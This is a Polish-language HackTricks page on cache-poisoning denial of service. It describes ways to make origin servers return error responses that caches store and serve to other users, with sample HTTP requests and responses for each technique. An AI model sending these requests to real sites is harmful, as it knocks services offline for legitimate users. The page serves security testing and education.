Cache Poisoning to DoS

Reading time: 4 minutes

tip

Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie HackTricks

caution

Na tej stronie znajdziesz różne warianty, aby spróbować sprawić, by serwer WWW odpowiadał błędami na żądania, które są ważne dla serwerów cache

  • HTTP Header Oversize (HHO)

Wyślij żądanie z nagłówkiem większym niż ten obsługiwany przez serwer WWW, ale mniejszym niż ten obsługiwany przez serwer cache. Serwer WWW odpowie kodem 400, który może być zbuforowany:

GET / HTTP/1.1
Host: redacted.com
X-Oversize-Hedear:Big-Value-000000000000000
  • HTTP Meta Character (HMC) & Unexpected values

Wyślij nagłówek, który zawiera szkodliwe znaki meta takie jak i . Aby atak zadziałał, musisz najpierw obejść pamięć podręczną.

GET / HTTP/1.1
Host: redacted.com
X-Meta-Hedear:Bad Chars\n \r

Źle skonfigurowany nagłówek mógłby być po prostu \: jako nagłówek.

To również mogłoby zadziałać, jeśli wysyłane są nieoczekiwane wartości, takie jak nieoczekiwany Content-Type:

GET /anas/repos HTTP/2
Host: redacted.com
Content-Type: HelloWorld
  • Nagłówek bez klucza

Niektóre strony internetowe zwrócą kod statusu błędu, jeśli zobaczą niektóre konkretne nagłówki w żądaniu, takie jak nagłówek X-Amz-Website-Location-Redirect: someThing:

GET /app.js HTTP/2
Host: redacted.com
X-Amz-Website-Location-Redirect: someThing

HTTP/2 403 Forbidden
Cache: hit

Invalid Header
  • Atak nadpisania metody HTTP (HMO)

Jeśli serwer obsługuje zmianę metody HTTP za pomocą nagłówków takich jak X-HTTP-Method-Override, X-HTTP-Method lub X-Method-Override. Możliwe jest zażądanie ważnej strony, zmieniając metodę, aby serwer jej nie obsługiwał, co powoduje, że zła odpowiedź jest buforowana:

GET /blogs HTTP/1.1
Host: redacted.com
HTTP-Method-Override: POST
  • Port bez klucza

Jeśli port w nagłówku Host jest odzwierciedlany w odpowiedzi i nie jest uwzględniony w kluczu pamięci podręcznej, możliwe jest przekierowanie go na nieużywany port:

GET /index.html HTTP/1.1
Host: redacted.com:1

HTTP/1.1 301 Moved Permanently
Location: https://redacted.com:1/en/index.html
Cache: miss
  • Long Redirect DoS

Jak w następującym przykładzie, x nie jest buforowane, więc atakujący mógłby wykorzystać zachowanie odpowiedzi przekierowania, aby sprawić, że przekierowanie wyśle URL tak duży, że zwróci błąd. Wtedy osoby próbujące uzyskać dostęp do URL bez niebuforowanego klucza x otrzymają odpowiedź z błędem:

GET /login?x=veryLongUrl HTTP/1.1
Host: www.cloudflare.com

HTTP/1.1 301 Moved Permanently
Location: /login/?x=veryLongUrl
Cache: hit

GET /login/?x=veryLongUrl HTTP/1.1
Host: www.cloudflare.com

HTTP/1.1 414 Request-URI Too Large
CF-Cache-Status: miss
  • Normalizacja wielkości liter nagłówka hosta

Nagłówek hosta powinien być niewrażliwy na wielkość liter, ale niektóre strony internetowe oczekują, że będzie zapisany małymi literami, zwracając błąd, jeśli tak nie jest:

GET /img.png HTTP/1.1
Host: Cdn.redacted.com

HTTP/1.1 404 Not Found
Cache:miss

Not Found
  • Normalizacja ścieżki

Niektóre strony zwrócą kody błędów, wysyłając dane URLencode w ścieżce, jednak serwer cache z URLdecode ścieżkę i zapisze odpowiedź dla ścieżki URLdecoded:

GET /api/v1%2e1/user HTTP/1.1
Host: redacted.com


HTTP/1.1 404 Not Found
Cach:miss

Not Found
  • Fat Get

Niektóre serwery cache, takie jak Cloudflare, lub serwery webowe, zatrzymują żądania GET z ciałem, więc można to wykorzystać do zbuforowania nieprawidłowej odpowiedzi:

GET /index.html HTTP/2
Host: redacted.com
Content-Length: 3

xyz


HTTP/2 403 Forbidden
Cache: hit

Odniesienia

tip

Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie HackTricks